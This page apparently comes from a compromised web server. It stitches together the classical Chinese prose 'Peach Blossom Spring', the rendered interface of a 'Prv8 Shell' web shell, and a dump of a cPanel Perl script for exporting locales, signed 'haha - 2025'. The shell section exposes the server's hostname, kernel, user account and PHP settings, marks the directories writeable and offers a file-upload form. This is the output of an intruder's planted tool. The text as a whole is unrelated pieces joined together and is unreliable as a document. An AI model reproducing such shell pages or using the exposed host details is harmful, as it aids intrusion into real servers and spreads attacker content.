晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //scripts/locale_export
#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/locale_export                   Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;
use warnings;
use Getopt::Param                  ();
use Cpanel::Locale                 ();
use Cpanel::Locale::Utils::Display ();
use Cpanel::Locale::Utils::XML     ();
use Cpanel::SafeDir::MK            ();

my $prm = Getopt::Param->new(
    {
        'no_args_help' => 1,
        'help_coderef' => sub {
            print <<"END_USAGE";
$0 --locale={locale_tag} [--locale=… --locale=… …] [--quiet] [--export-{locale_tag}={path}]  [--dumper-format] [--exclude-bracketed-strings] [--no-fallback]

Export locales from the Locale database in XML format.

Options:
  --help                       Show this help screen
  --quiet                      Show less output than normal.
  --locale={locale_tag}        Specify a locale to export. You may pass the flag multiple times in order to export multiple locales.
      This creates files in a default location that `/usr/local/cpanel/scripts/locale_import --locale={locale_tag}` knows to use.
  --export-{locale_tag}={file} Save the export of the locale {locale_tag} to {file} instead of the standard place.
      This creates files that can be imported with `/usr/local/cpanel/scripts/locale_import --import={file}`
  --dumper-format              Export into the old format instead of XLIFF (will force an .xml extension on any --export-XX paths)
  --recover                    Try to recover on encountering an ill-formed phrase.
  --exclude-bracketed-strings  Exclude strings that contain bracket notion, which may cause problem on some translation platforms.
  --no-fallback                Do not use orginial strings as fallback if no translation is available, leave target blank.

The XML files that this script creates can be imported via /usr/local/cpanel/scripts/locale_import

If there were problems exporting the script will exit with an error status. To examine the details of what happened do not use --quiet.
END_USAGE
            exit;
        },
    }
);

my $verbose = $prm->get_param('quiet') ? 0 : 1;
my $options = {
    'recover'     => ( $prm->get_param('recover')                   ? 1 : 0 ),
    'no-brackets' => ( $prm->get_param('exclude-bracketed-strings') ? 1 : 0 ),
    'no-fallback' => ( $prm->get_param('no-fallback')               ? 1 : 0 ),
};
my $count  = 0;
my $failed = 0;
my $locale = Cpanel::Locale->get_handle();

my %locale_lookup;

@locale_lookup{ Cpanel::Locale::Utils::Display::get_locale_list($locale) } = ();
my $euid_home;
foreach my $loc ( $prm->get_param('locale') ) {
    $count++;

    if ( !exists $locale_lookup{$loc} ) {
        print "Invalid locale\n" if $verbose;
        $failed++;
        next;
    }

    my $path = $prm->get_param('dumper-format') ? "/var/cpanel/locale/export/$loc.xml" : "/var/cpanel/locale/export/$loc.xlf";
    if ( $prm->get_param("export-$loc") ) {
        $path = $prm->get_param("export-$loc");
        $path =~ s/\.[^.]+$//;    # strip any existing extension …
        if ( $prm->get_param('dumper-format') ) {
            $path .= '.xml';      # … replace it w/ .xml
        }
        else {
            $path .= '.xlf';      # … replace it w/ .xlf
        }
    }

    # expand ~/ that was treated as a string and not expanded by the shell before being put in @ARGV
    if ( substr( $path, 0, 2 ) eq '~/' ) {
        $euid_home ||= ( getpwuid($>) )[7];    # only look it up if needed, and only look it up one time
        substr( $path, 0, 2, "$euid_home/" );
    }

    my ( $head, @dir ) = reverse( split( /\//, $path ) );
    my $dir = join( '/', reverse(@dir) );
    if ( $dir && !-d $dir ) {
        if ( !Cpanel::SafeDir::MK::safemkdir($dir) ) {
            print "Could not create path '$dir': $!\n" if $verbose;
            $failed++;
            next;
        }
    }

    if ( -e $path ) {
        print "Replacing existing export file '$path'\n" if $verbose;
        unlink($path);
        if ( -e $path ) {
            print "Could not unlink '$path': $!\n" if $verbose;
            $failed++;
            next;
        }
    }

    my $error = '';

    if ( Cpanel::Locale::Utils::XML::locale_to_xml( $path, $loc, \$error, $options ) ) {
        print "$error'$loc' has been exported to '$path'.\n" if $verbose;
    }
    else {
        print "Failed to create XML file for locale '$loc': $error\n" if $verbose;
        $failed++;
        next;
    }
}

if ( !$count || $failed ) {
    if ($verbose) {
        if ($failed) {
            print "$failed out of $count failed to export.\n";
        }
        elsif ( !$count ) {
            print "No locales to export.\n";
        }
    }
    exit 1;
}

haha - 2025